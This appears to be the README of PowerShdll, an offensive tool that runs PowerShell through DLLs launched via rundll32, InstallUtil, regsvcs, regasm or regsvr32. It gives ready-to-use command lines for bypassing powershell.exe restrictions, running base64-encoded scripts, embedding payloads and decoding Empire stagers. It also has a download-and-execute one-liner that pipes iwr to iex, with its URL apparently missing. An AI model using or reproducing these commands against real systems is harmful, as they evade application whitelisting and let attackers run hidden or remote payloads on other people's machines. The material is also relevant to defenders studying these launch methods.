Run PowerShell with dlls only.

Does not require access to powershell.exe as it uses powershell automation dlls.

PowerShdll can be run with: rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsvr32.exe or as a standalone executable.

dll mode:


rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h      Display this message
rundll32 PowerShdll,main -f <path>       Run the script passed as argument
rundll32 PowerShdll,main -w      Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i      Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output

Alternatives (Credit to SubTee for these techniques):

    x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
    x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
    regsvr32 /s  /u PowerShdll.dll -->Calls DllUnregisterServer
    regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer

exe mode

PowerShdll.exe <script>
PowerShdll.exe -h      Display this message
PowerShdll.exe -f <path>       Run the script passed as argument
PowerShdll.exe -i      Start an interactive console in this console (Default)

Embeded payloads

Payloads can be embeded by modifying the "payload" variable in the start method of the common.cs file. If a payload is embeded, all other varguments will be ignored and the payload will be executed upon running PowerShdll.


Run base64 encoded script

rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

Note: Empire stagers need to be decoded using [System.Text.Encoding]::Unicode

Download and run script

rundll32 PowerShdll.dll,main . { iwr -useb } ^| iex;


  • .Net v3.5 for dll mode.
  • .Net v2.0 for exe mode.

Known Issues

Some errors do not seem to show in the output. May be confusing as commands such as Import-Module do not output an error on failure.
Make sure you have typed your commands correctly.

In dll mode, interractive mode and command output rely on hijacking the parent process' console. If the parent process does not have a console, use the -n switch to not show output otherwise the application will crash.

Due to the way Rundll32 handles arguments, using several space characters between switches and arguments may cause issues. Multiple spaces inside the scripts are okay.
